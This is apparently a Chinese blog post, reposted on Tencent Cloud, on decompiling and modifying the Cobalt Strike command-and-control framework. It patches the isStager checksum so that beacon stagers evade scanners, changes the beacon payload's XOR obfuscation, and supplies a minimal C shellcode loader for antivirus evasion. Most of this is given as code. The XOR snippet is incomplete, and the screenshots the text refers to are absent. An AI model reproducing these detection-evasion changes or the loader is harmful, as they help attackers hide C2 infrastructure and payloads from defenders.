前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CobaltStrike二次开发

CobaltStrike二次开发

作者头像
鸿鹄实验室
发布2021-04-01 10:13:31
2.6K0
发布2021-04-01 10:13:31
举报
文章被收录于专栏:鸿鹄实验室

1、CobaltStrike反编译

首先我们将IEDA中的java-decompiler.jar拿出来,一般在/plugins/java-decompiler.jar/lib/里面。然后新建两个文件夹来存放我们反编译的文件。其中cs_bin里面存放未反编译的文件。

然后提取其中的consoledecompiler,路径一般如下:

代码语言:javascript
复制
org/jetbrains/java/decompiler/main/decompiler/

然后将斜杠改成点,得到:

代码语言:javascript
复制
org.jetbrains.java.decompiler.main.decompiler.consoledecompiler

使用方法如下:

代码语言:javascript
复制
java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler

会报错,提示缺少主类。我们需要跟上-dsg=true参数以及需要反编译的文件和反编译后的目录。(图配错了)

代码语言:javascript
复制
java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dsg=true cs_bin/cobaltstrike.jar cs_src

然后解压生成的文件,得到后缀为.java的文件。便可以直接导入到idea了。

打开idea新建项目,一路next

完成后新建一个xx_src与一个lib目录

然后复制刚刚解压的文件到新建的src目录中。未反编译的放入lib中

然后选择file里面的project Structure中的模块。

点击加号,选择lib目录下面的文件,点击apply.。确保是Compile

然后依次选择Artifacts--->jar--->from modules with dependencies 去新建一个Main Class

这个名字可以在lib---->cs.jar---->meta-inf---->menifest.mf中找到

然后找到反编译完的aggressor中,找到主类,右键选择refactor ----> copy

然后下选择文件夹,选择刚刚的src文件夹,并新建aggressor 文件夹。

效果如下:

添加一行代码,测试:

代码语言:javascript
复制
JOptionPane.showMessageDialog(null,"hello world!!!");

现在所需要的修改就完成了,后面需要修改什么文件,都可以以copy的方式去复制、修改了。然后build测试:Build----->Build Artifacts----->Build,out文件夹就可以看到了。

然后添加一个jar配置,然后把刚刚的jar添加到路径中

添加配置:

如果打包有问题,可以把下面的文件复制过去

2、CobaltStrike特征修改

1、修改stager防止被扫:修改位置如下:

代码语言:javascript
复制
cloudstrike/webserver.class

主要是isStager函数,只要不是92或者93就行。这里首先需要修改checksum8,将其返回值改为:

代码语言:javascript
复制
return sum

随机生成文件,然后调用算法,得到需要的值。

代码语言:javascript
复制
public class test {
    public static long checksum8(String text) {
        if (text.length() < 4) {
            return 0L;
        } else {
            text = text.replace("/", "");
            long sum = 0L;

            for(int x = 0; x < text.length(); ++x) {
                sum += (long)text.charAt(x);
            }

            return sum ;
        }
    }
    public static void main(String []args) {
        String key = "8626fe7dcd8d412a80d0b3f0e36afd4a.jpg";
        long flag = checksum8(key);
        System.out.println(flag);
    }
}

然后将该值放入:

代码语言:javascript
复制
public static boolean isStager(String uri) {
   return checksum8(uri) == 2747L;
}

并修改

代码语言:javascript
复制
common/CommonUtils中的

将返回值改成我们刚刚修改的文件名:

x64同理修改。或者使用之前的师傅们改好的东西,直接把

代码语言:javascript
复制
beacon/BeaconPayload.java

复制过来。然后修改

代码语言:javascript
复制
public static byte[] beacon_obfuscate(byte[] var0) {
   byte[] var1 = new byte[var0.length];

   for(int var2 = 0; var2 < var0.length; ++var2) {
      var1[var2] = (byte)(var0[var2] ^ );
   }

   return var1;
}

的异或值,再将所有的dll更改后放入即可。

2、修改源码。简单免杀:

shellcode生成的路径为:

代码语言:javascript
复制
/aggressor/dialogs/PayloadGeneratorDialog.java

以C为例,若需修改,直接选择ToC,跳转就可,位置在:

代码语言:javascript
复制
encoders/Transforms.java

我们便可以直接拿过了我们的加载器来使用

代码语言:javascript
复制
#include <windows.h>
#include <stdio.h>
unsigned char buf[] ="";
void main(){   
    ((void(WINAPI*)(void))&buf)();
}

此时生成的.c文件如下:

参考文章:

https://github.com/qigpig/bypass-beacon-config-scan

https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&mid=2247484689&idx=1&sn=8cf9c031f3d926c155ee5c018941b416&chksm=fcb78794cbc00e82e7a44f89e796be2ef551a792946992dd540d31891848dca84398de16b85e&mpshare=1&scene=23&srcid=1205W5UXcmMgANYQEPoqFrtI&sharer_sharetime=1607133873287&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd

星球营造良好的技术交流氛围,一直秉承着有问有答才是真正的技术交流,如果你喜欢分享,喜欢学习,那么请加入我们吧

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档